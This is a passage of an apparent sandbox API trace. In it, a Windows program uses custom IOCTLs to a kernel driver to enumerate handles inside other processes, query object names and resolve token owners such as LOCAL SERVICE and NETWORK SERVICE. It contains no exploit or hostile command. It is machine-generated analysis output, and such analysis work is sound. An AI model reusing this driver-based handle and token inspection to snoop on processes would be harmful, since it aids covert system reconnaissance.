ReturnLength=0xfffff88005000508) returned 0x0 [0132.317] ObfDereferenceObject (Object=0xfffffa8009f26a50) returned 0x5 [0132.317] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.317] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.317] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0132.317] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.317] PsAcquireProcessExitSynchronization () returned 0x0 [0132.317] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.317] ObReferenceObjectByHandle (in: Handle=0x35c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0018b3390, HandleInformation=0x0) returned 0x0 [0132.317] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.317] PsReleaseProcessExitSynchronization () returned 0x2 [0132.317] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.317] ObQueryNameString (in: Object=0xfffff8a0018b3390, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.317] ObfDereferenceObject (Object=0xfffff8a0018b3390) returned 0x2 [0132.317] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.317] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.317] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0132.317] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.317] PsAcquireProcessExitSynchronization () returned 0x0 [0132.317] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.317] ObReferenceObjectByHandle (in: Handle=0x360, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0018c8080, HandleInformation=0x0) returned 0x0 [0132.317] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.317] PsReleaseProcessExitSynchronization () returned 0x2 [0132.317] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.317] ObQueryNameString (in: Object=0xfffff8a0018c8080, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.317] ObfDereferenceObject (Object=0xfffff8a0018c8080) returned 0x2 [0132.317] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.317] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.317] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0132.317] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.317] PsAcquireProcessExitSynchronization () returned 0x0 [0132.317] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.318] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001c1b550, HandleInformation=0x0) returned 0x0 [0132.318] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.318] PsReleaseProcessExitSynchronization () returned 0x2 [0132.318] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.318] ObQueryNameString (in: Object=0xfffff8a001c1b550, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.318] ObfDereferenceObject (Object=0xfffff8a001c1b550) returned 0x2 [0132.318] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.318] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.318] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.318] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0132.318] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.318] PsAcquireProcessExitSynchronization () returned 0x0 [0132.318] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.318] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8005ffe6d0, HandleInformation=0x0) returned 0x0 [0132.318] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.318] PsReleaseProcessExitSynchronization () returned 0x2 [0132.318] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.318] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.318] ObfDereferenceObject (Object=0xfffffa8005ffe6d0) returned 0x5 [0132.318] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.318] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.318] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.318] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0132.318] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.318] PsAcquireProcessExitSynchronization () returned 0x0 [0132.318] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.318] ObReferenceObjectByHandle (in: Handle=0x380, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0018c86b0, HandleInformation=0x0) returned 0x0 [0132.318] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.318] PsReleaseProcessExitSynchronization () returned 0x2 [0132.318] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.318] ObQueryNameString (in: Object=0xfffff8a0018c86b0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.318] ObfDereferenceObject (Object=0xfffff8a0018c86b0) returned 0x2 [0132.318] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.318] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.319] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.319] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0132.319] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.319] PsAcquireProcessExitSynchronization () returned 0x0 [0132.319] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.319] ObReferenceObjectByHandle (in: Handle=0x384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00180e3b0, HandleInformation=0x0) returned 0x0 [0132.319] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.319] PsReleaseProcessExitSynchronization () returned 0x2 [0132.319] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.319] ObQueryNameString (in: Object=0xfffff8a00180e3b0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.319] ObfDereferenceObject (Object=0xfffff8a00180e3b0) returned 0x2 [0132.319] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.319] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.319] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.319] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0132.319] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.319] PsAcquireProcessExitSynchronization () returned 0x0 [0132.319] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.319] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0018d2a60, HandleInformation=0x0) returned 0x0 [0132.319] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.319] PsReleaseProcessExitSynchronization () returned 0x2 [0132.319] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.319] ObQueryNameString (in: Object=0xfffff8a0018d2a60, ObjectNameInfo=0xfffffa8001fc37c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fc37c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.319] ObfDereferenceObject (Object=0xfffff8a0018d2a60) returned 0x2 [0132.319] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.319] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.319] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5cc) returned 0xc0 [0132.594] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.594] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80030b5b30, HandleInformation=0x0) returned 0x0 [0132.594] ObOpenObjectByPointer (in: Object=0xfffffa80030b5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.594] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x24 [0132.594] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.594] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.594] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.594] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.594] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.595] CloseHandle (hObject=0xc8) returned 1 [0132.595] CloseHandle (hObject=0xc0) returned 1 [0132.596] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.596] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.596] PsAcquireProcessExitSynchronization () returned 0x0 [0132.596] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880050005d0) [0132.596] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002a53310, HandleInformation=0x0) returned 0x0 [0132.596] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.596] PsReleaseProcessExitSynchronization () returned 0x2 [0132.596] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0132.596] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.596] ObfDereferenceObject (Object=0xfffffa8002a53310) returned 0x1 [0132.596] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.596] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.596] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.596] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.596] PsAcquireProcessExitSynchronization () returned 0x0 [0132.596] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880050005d0) [0132.596] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800fdffaa0, HandleInformation=0x0) returned 0x0 [0132.596] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.596] PsReleaseProcessExitSynchronization () returned 0x2 [0132.596] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0132.596] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.596] ObfDereferenceObject (Object=0xfffffa800fdffaa0) returned 0x1 [0132.596] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.596] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.596] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0132.596] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.596] PsAcquireProcessExitSynchronization () returned 0x0 [0132.597] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880050005d0) [0132.597] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80029139c0, HandleInformation=0x0) returned 0x0 [0132.597] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.597] PsReleaseProcessExitSynchronization () returned 0x2 [0132.597] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0132.597] ObQueryNameString (in: Object=0xfffffa80029139c0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0132.597] ObfDereferenceObject (Object=0xfffffa80029139c0) returned 0x3 [0132.597] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.597] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.597] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.597] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.597] PsAcquireProcessExitSynchronization () returned 0x0 [0132.597] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880050005d0) [0132.597] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002913bd0, HandleInformation=0x0) returned 0x0 [0132.597] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.597] PsReleaseProcessExitSynchronization () returned 0x2 [0132.597] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0132.597] ObQueryNameString (in: Object=0xfffffa8002913bd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.597] ObfDereferenceObject (Object=0xfffffa8002913bd0) returned 0x3 [0132.597] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.597] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.597] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x674) returned 0xc0 [0132.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.597] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8003c03630, HandleInformation=0x0) returned 0x0 [0132.597] ObOpenObjectByPointer (in: Object=0xfffffa8003c03630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.597] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x36 [0132.597] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.598] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.598] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.598] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.598] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.599] CloseHandle (hObject=0xc8) returned 1 [0132.599] CloseHandle (hObject=0xc0) returned 1 [0132.599] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.599] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.599] PsAcquireProcessExitSynchronization () returned 0x0 [0132.599] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880050005d0) [0132.599] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800282e8d0, HandleInformation=0x0) returned 0x0 [0132.599] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.599] PsReleaseProcessExitSynchronization () returned 0x2 [0132.599] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0132.599] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.600] ObfDereferenceObject (Object=0xfffffa800282e8d0) returned 0x1 [0132.600] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.600] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.600] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.600] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.600] PsAcquireProcessExitSynchronization () returned 0x0 [0132.600] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880050005d0) [0132.600] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003c3ae60, HandleInformation=0x0) returned 0x0 [0132.600] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.600] PsReleaseProcessExitSynchronization () returned 0x2 [0132.600] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0132.600] ObQueryNameString (in: Object=0xfffffa80026f2c50, 